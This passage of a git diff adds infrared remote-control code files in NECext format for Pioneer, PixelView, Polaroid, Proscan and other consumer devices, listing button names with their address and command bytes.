+command: 5E 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 93 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 93 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 94 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 95 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 95 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 9B 00 00 00 +# +name: best +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 9B 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 9C 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 9C 00 00 00 +# +name: pre1 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: C1 00 00 00 +# +name: pre3 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: C2 00 00 00 +# +name: pre2 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: C6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_pioneer/168,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_pioneer/168,-1.ir new file mode 100644 index 000000000..8d0c0396d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_pioneer/168,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 09 00 00 00 +# +name: scanfwd +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 10 00 00 00 +# +name: scanrev +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 11 00 00 00 +# +name: chapframe-tracktime +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 13 00 00 00 +# +name: reject +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 16 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 18 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1E 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 42 00 00 00 +# +name: disp +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 43 00 00 00 +# +name: repeatmode +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 44 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 45 00 00 00 +# +name: speeddown +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 46 00 00 00 +# +name: speedup +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 47 00 00 00 +# +name: steprev +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 50 00 00 00 +# +name: stepfwd +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 54 00 00 00 +# +name: multirev +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 55 00 00 00 +# +name: multifwd +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 58 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/PixelView/Unknown_2000/63,-1.ir b/assets/resources/infrared/_CSV-IRDB_/PixelView/Unknown_2000/63,-1.ir new file mode 100644 index 000000000..b996d3499 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/PixelView/Unknown_2000/63,-1.ir @@ -0,0 +1,398 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_TAB +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: SEEK-- +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: SEEK++ +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: SEEK- +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: SEEK+ +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_F1 +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_F2 +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_F3 +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_F4 +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_TAB +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: SEEK-- +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: SEEK++ +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: SEEK- +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: SEEK+ +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_F1 +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_F2 +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_F3 +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_F4 +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 3F 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/PixelView/Unknown_PlayTV/134,107.ir b/assets/resources/infrared/_CSV-IRDB_/PixelView/Unknown_PlayTV/134,107.ir new file mode 100644 index 000000000..e77c5e9ae --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/PixelView/Unknown_PlayTV/134,107.ir @@ -0,0 +1,350 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 00 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 01 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 01 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 02 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 02 00 00 00 +# +name: tv/fm +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 03 00 00 00 +# +name: timeshift +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 03 00 00 00 +# +name: fn- +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 04 00 00 00 +# +name: bw +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 04 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 05 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 06 00 00 00 +# +name: scan +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 07 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 07 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 09 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0A 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0A 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0B 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0B 00 00 00 +# +name: fn+ +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0C 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0C 00 00 00 +# +name: reset +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0D 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0D 00 00 00 +# +name: function +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0E 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0E 00 00 00 +# +name: freeze +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0F 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0F 00 00 00 +# +name: +100 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 10 00 00 00 +# +name: +100 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 10 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 12 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 12 00 00 00 +# +name: loop +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 13 00 00 00 +# +name: loop +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 13 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 14 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 15 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 16 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 16 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 17 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 17 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 18 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 18 00 00 00 +# +name: snapshot +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 19 00 00 00 +# +name: scan +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1A 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1B 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1B 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1C 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Polaroid/Unknown_DVDP-1000/32,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Polaroid/Unknown_DVDP-1000/32,-1.ir new file mode 100644 index 000000000..0bf18c616 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Polaroid/Unknown_DVDP-1000/32,-1.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 02 00 00 00 +# +name: resume +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 09 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0B 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0F 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 10 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 11 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 12 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 13 00 00 00 +# +name: ntsc/pal +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 14 00 00 00 +# +name: tvpicture +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 15 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 16 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 17 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 18 00 00 00 +# +name: KEY_1/all +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 19 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1A 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1D 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1E 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1F 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 40 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 42 00 00 00 +# +name: KEY_3d +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 43 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 44 00 00 00 +# +name: vocal-assist +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 47 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 48 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 49 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4B 00 00 00 +# +name: pbc +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4C 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4F 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 50 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 51 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 54 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 55 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 58 00 00 00 +# +name: a/b +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 59 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 5C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pragmatic/Router/172,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pragmatic/Router/172,-1.ir new file mode 100644 index 000000000..56e4ca989 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pragmatic/Router/172,-1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: AC 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: AC 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: AC 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: AC 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: AC 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: AC 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: AC 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: AC 00 00 00 +command: 08 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/ProPlay/Unknown_PS2/0,246.ir b/assets/resources/infrared/_CSV-IRDB_/ProPlay/Unknown_PS2/0,246.ir new file mode 100644 index 000000000..50c5b277f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/ProPlay/Unknown_PS2/0,246.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 00 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 01 00 00 00 +# +name: select_menu +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 02 00 00 00 +# +name: enter/ok +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 03 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 04 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 05 00 00 00 +# +name: fast_backward +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 06 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 07 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 08 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 09 00 00 00 +# +name: caption +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 0A 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 0B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 0C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 0D 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 0E 00 00 00 +# +name: nicam +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 0F 00 00 00 +# +name: game/remote +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 10 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Proceed/Surround Processor/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Proceed/Surround Processor/5,-1.ir new file mode 100644 index 000000000..52dcffd1b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Proceed/Surround Processor/5,-1.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: CD1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: BAL/AUX +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: LD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: CD2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0A 00 00 00 +# +name: TV/AUX +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0B 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 10 00 00 00 +# +name: TAPE1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 11 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 11 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 12 00 00 00 +# +name: TAPE2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 19 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 19 00 00 00 +# +name: VCR2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1A 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 30 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Proscan/DVD Player/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Proscan/DVD Player/15,-1.ir new file mode 100644 index 000000000..a0571bbad --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Proscan/DVD Player/15,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3F 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: A3 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Proscan/DVD Player/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Proscan/DVD Player/5,-1.ir new file mode 100644 index 000000000..fb3e15fd1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Proscan/DVD Player/5,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: CLEAR +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 15 00 00 00 +# +name: SET_UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 18 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 19 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1A 00 00 00 +# +name: FORWARD 